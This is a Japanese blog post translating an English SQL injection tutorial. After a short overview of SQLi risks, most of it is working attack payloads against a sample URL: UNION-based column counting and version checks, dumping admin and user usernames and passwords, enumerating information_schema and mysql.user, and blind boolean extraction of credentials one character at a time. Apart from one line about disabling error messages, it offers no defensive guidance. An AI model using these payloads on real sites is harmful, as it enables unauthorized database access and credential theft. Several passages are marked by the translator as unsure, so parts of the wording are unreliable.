【SQLi】英語のお勉強ついでにSQLiをやっていく【翻訳】

前置き

英語のお勉強をしなければいけないので、セキュリティ系の海外サイトを翻訳していきます。

SQL Injection Tutorial from Beginner to Advanced | NeosLab

↑今日翻訳していくサイト。

以下翻訳...

(タイトルなし)

SQLインジェクション(SQLi)とは、攻撃者がデータベースサーバー(あるいは、より一般にはRDBMS)をコントロールできるような悪意のあるSQL構文(俗に言うペイロード)を実行する攻撃のことを指します。SQLiの脆弱性SQLベースのデータベースを利用するwebサイトやアプリケーションに影響を及ぼす可能性があるため、SQLiの脆弱性は、最も古く、かつ危険で、最もポピュラーなwebアプリケーションの脆弱性になりました。

適切な状況下でSQLiの脆弱性を利用することで、攻撃者はwebアプリケーションの認証、承認メカニズムをバイパスし、データベース内のコンテンツを取得することができます。また、SQLiの脆弱性を利用することで、データベース内の情報を情報を改ざんし、情報の完全性を脅かします。

このようにして、SQLiは攻撃者の個人情報や機密情報などへの不正なアクセスを可能にします。

WHAT’S THE WORST AN ATTACKER CAN DO WITH SQL?

SQLRDBMSにおけるデータ管理のために設計されたプログラミング言語であるため、データの登録、変更、消去が可能になっています。さらに言えば、RDBMSはOS上において、SQL構文からコマンドを実行することも可能です。

これらのことを念頭に置いて、以下のことを考慮すると、SQLiが攻撃者にとって如何有益であるかをより理解しやすくなります。

  1. SQLiを利用することで、認証を回避したり、特定のユーザーに成りすますことができる。
  2. SQLの主な機能の内の一つは、クエリに基づいてデータを取得し、その結果を出力することである。そのため、SQLiの脆弱性は、データベース上のデータの完全な取得を可能にする。
  3. webアプリケーションがデータベース内のデータをSQLを用いて変更するために、攻撃者はSQLiを用いてデータベース内のデータを改ざんする可能性がある。データの変更は、データベースの整合性に影響を及ぼし、トランザクションの無効化や残高の変更などの各種問題を引き起こす。
  4. SQLはデータベースからデータを削除するのに利用される。攻撃者は、データベース内のデータを削除するために、SQLiを利用することができる。仮に適切なバックアップがとられていたとしても、データベースが復旧するまでの間、アプリケーションの可用性に影響を及ぼす可能性がある。
  5. いくつかのデータベースサーバーは、意図的か否かは別として、任意のOSコマンドを実行できるように設定されている。適切な条件が与えられれば、攻撃者はSQKiをファイアーウォールで保護されたネットワークへの攻撃の第一波として利用する。

THE ANATOMY OF AN SQL INJECTION ATTACK

SQLiの実行には「SQLを利用しているデータベース」と「SQLクエリの中で直接利用される、ユーザが制御可能な入力」の二つが必要です。

エラーは開発中の開発者にとってとても有用ですが、サービス中のサイトで生じると、攻撃者に多くの情報を与えかねません。SQLのエラーは、攻撃者がデータベースの構造をある程度把握できるまでの情報を示す傾向にあります。そして、いくつかの場合において、SQLのエラーメッセージから情報を抽出することで、データベースの全体を列挙することができ、この攻撃はエラーメッセージベースのSQLiと呼ばれます。そもそも、データベースのエラーはライブサービス上では無効にするか、アクセスが制限された領域に記録しておくのがよいのです。

データをフィルタリングする方法の一つとして、SQL演算子であるUNION演算子を用いて、いくつかの出力を一つにまとめてしまう方法があります。この方法は、アプリケーションにHTTPレスポンス内にデータを返すことを強制します。この方法はUNIONベースのSQLiと呼ばれます。

BLIND SQL INJECTION (THE HARDER PART)

じゃあ、ちょっとやってみましょう。

Check for vulnerability.

このようなサイトがあるとしましょう。

http://server/news.php?id=5

URLの後ろに'(シングルクォーテーション)を付けて、脆弱性があるか確認してみましょう。

http://server/news.php?id=5'

そうしたら、以下のようなエラーが出るでしょう。

"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc ..." or something similar that means is vulnerable to SQL injection.

Find the number of columns

カラムの数を評定するために、ORDER BYを用いる。ORDER BYの後ろの数字を一つずつ増やしていき、エラーが出るまで続ける。

http://server/news.php?id=5 order by 1/* <-- no error
http://server/news.php?id=5 order by 2/* <-- no error
http://server/news.php?id=5 order by 3/* <-- no error
http://server/news.php?id=5 order by 4/* <-- error (We get message like this Unknown column '4' in 'order clause' or something like that)

これはカラム数が3であることを表し、だからこそ4行目を指定した時にエラーが出たのである。

Check for UNION function

UNIONにおいては、我々は多くのデータを一つのSQL構文で選択できます。よって、以下の様にします。

http://server/news.php?id=5 union all select 1,2,3/* (We already found that number of columns are 3 in section 2). )

もし1,2,3のようないくつかの数字が見えたら、UNIONは正常に動作しています。

Check for MySQL version

http://server/news.php?id=5 union all select 1,2,3/*

NOTE:もし"/*"がうまく動かなかったり、エラーが出るようなら、代わりに"--"を使ってください。これはコメントの記号であり、クエリが適切に働くのに重要です。

ここで、画面にselectの後ろに2があるとして、SQLのバージョンを確認するために"2"を"@@version"や"version()"に置き換えて実行してみましょう。4.1.33-logや5.0.45などといったものが出力されるはずです。

http://server/news.php?id=5 union all select 1,@@version,3/*

もしあなたが"union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."というようなエラーを受けたとき、あなたが次にするべきことは次の例の様にconvert()関数を利用することです。 EXAMPLE:

http://server/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

あるいは、hex()やunhex()も利用できます。

http://server/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

これらによって、MySQLのバージョンを取得することができます。

Getting table and column name

MySQLのバージョンが5以前の場合、多くの場合でテーブルとカラムの名前を推測することができます。一般的なテーブル名は「user/s」、「admin/s」、「member/s」などです。一方、一般的なカラム名は「username」、「user」、「usr」、「user_name」、「password」、「pass」、「passwd」、「pwd」などです。

EXAMPLE:

http://server/news.php?id=5 union all select 1,2,3 from admin/*

(私たちは先程から2番を使っていますが、それでよいのです) 私たちはスクリーンに「admin」や「superadmin」などといったユーザー名をスクリーンに得たはずです。

では、パスワードのカラムがあるか確認してみましょう。

http://server/news.php?id=5 union all select 1,password,3 from admin/*

SQLの設定によりますが、私たちはハッシュ化されたパスワードであったり、平文のパスワードを得るはずです。クエリの見栄えをよくするためにconcat()を使って文字列を結合しましょう。

http://server/news.php?id=5 union all select1,concat(username,0x3a,password),3 from admin/*

NOTE:0x3aは":"の16進数アスキーコードで、代わりにchar(58)を使うこともできます。 ユーザー名とパスワードを得たことで、あなたは既存のユーザの様にログインすることができます。もしテーブル名を推測できないなら、以下の様にmysql.userを使うといいでしょう。

http://server/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

MySQL5

ここで、私たちは"information_schema"テーブルが必要になります。このテーブルは、データベース内のすべてのテーブルとカラムの情報を内包していて、これを得るために"table_name"と"information_schema.tables"を使います。

http://server/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

ここで、2を"table_name"に置き換えて、画面に出力されるinformation_shema.tableからテーブル名を得ます。また、クエリの後ろにLIMITを加えることですべてのテーブル名を取得する必要がります。

EXAMPLE:

http://server/news.php?id=5 union all select 1,table_name,3 from infor-mation_schema.tables limit 0,1/*

NOTE:2番目のテーブルを表示するために0、1(0から始まる1つの結果を取得する)を配置するために、「limit 0,1」を「limit 1,1」に変更します。(←?)

EXAMPLE:

http://server/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*

二つ目のテーブルが表示されたはずです。三つ目に対しても同様のことを行いたいのなら、"limit 2,1"を利用するといいでしょう。

EXAMPLE:

http://server/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

この数字を"db_admin"などの有益な情報を得るまでインクリメントしていきます。

カラム名の取得に対しても同様の方法を用います。以下の様にして"column_name"と"information_schema.columns"を利用します。

EXAMPLE:

http://server/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*

最初のカラムを得ました。次のカラムを得るために、"limit 0,1"を"limit 1,1"に変更します。

EXAMPLE:

http://server/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*

二つ目のカラムが出力され、先ほどと同様に数字をインクリメントしていくことで、様々なカラムを得ることができます。任意のテーブルのカラムを得たい場合は以下の様にします。

http://server/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*

usersテーブル内のカラムが出力されました。しかし、このクエリはマジッククォートの設定がONになっている場合はうまく動きません。user、pass、emailカラムが見つかったとして、これらをまとめて出力するためにconcat()を利用します。

EXAMPLE:

http://server/news.php?id=5 union all select 1, concat(user,0x3a,pass,0x3a,email) from users/*

これを用いることで、user、pass、emailを取得します。

BLIND SQL INJECTION

ブラインドインジェクションは典型的なインジェクションと比較すると多少複雑ですが、以下の方法で行うことができます。最初に、webサイトの脆弱性をチェックする必要があります。

一般的なクエリの例は以下の様になります。

http://server/news.php?id=5 and 1=1 <-- this is always true

では、上記の例の”1”を"2"に変えてブラインドインジェクションが可能かどうか見てみましょう。

http://server/news.php?id=5 and 1=2 <-- this is false

もし、ページが誤ったテキストや画像を返したのなら、それはブラインドインジェクションに対して脆弱であることを示しています。

Get the MySQL version

MySQLのバージョンを得るためにはsubstringを利用する。

http://server/news.php?id=5 and substring(@@version,1,1)=4

上のクエリは、MySQLのバージョンが4だった時にTRUEを返し、"4"を"5"に置き換えて実行した結果がTRUEであったなら、MySQLのバージョンが5であることを示します。

EXAMPLE:

http://server/news.php?id=5 and substring(@@version,1,1)=5

TEST IF SUBSELECT WORKS

いくつかのケースで"select"はうまく機能しません。そのようなときは、代わりに"subselects"を利用します。

EXAMPLE:

http://server/news.php?id=5 and (select 1)=1

もしページが適切に読み込まれれば、"subselects"は適切に動作します。次に、"mysql.user"にアクセスできるかどうか確認します。

EXAMPLE:

http://server/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

ページが適切に読み込まれることは、"mysql.user"にアクセスできたことを意味します。According to this last query we can if we want using this access to extract for example some password using load_file() function and OUTFILE(←?)

CHECK TABLE AND COLUMN NAMES

ここは、推察や検索があなたを助けるでしょう。

EXAMPLE:

http://server/news.php?id=5 and (select 1 from users limit 0,1)=1

上の使用例で、"limit 0,1"を使えば、クエリは"1 rqw of data"を返すでしょう。ページがコンテンツの欠落なく読み込みを行ったなら、それは"users"テーブルが存在することを示します。コンテンツの欠落があったら、テーブル名を適切に推察し、再度実行する必要があります。

テーブル名が"users"であるとき、次は同様のやり方でカラム名を取得していく。最初は"password"のような一般的な名前で行っていく。

EXAMPLE:

http://server/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

ページが適切に読み込まれれば、カラム名が"password"であるということが判明する。失敗した時も同様に、他の一般的なカラム名を利用して再度実行する。上の例では"password"と1をマージしてsubsetring()関数が最初の1文字を返す。

EXTRACT DATA FROM DATABASE

"users"テーブルと、カラム"password"と"username"が見つかったとしましょう。そうしたら、いくつかの関連するデータを抽出します。

http://server/news.php?id=5 and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>80

上のクエリでは、substring()関数が"user"テーブルの最初のユーザの最初の1文字を返します。ascii()関数は最初の1文字をasciiコードに変換し">"演算子を用いて任意の値より大きいか比較します。

既にお分かりかと思いますが、上の例においてasciiコードの値が80より大きいときに、適切にページを読み込むことができます。失敗するまで試行し続けます。

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

数字をインクリメントしていき、エラーが出たらuserの最初の数字がエラーを吐いた時に">"の右側にある文字であることが分かります。(今回の場合は"c")

では、次の文字を見てみましょう。

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

NOTE:次の文字に進むためには",1,1"を",2,1"に変更します。

以降も同様の手順で文字を評定していきます。

一方、この方法では完全なusernameやpasswordを得るには膨大な時間がかかります。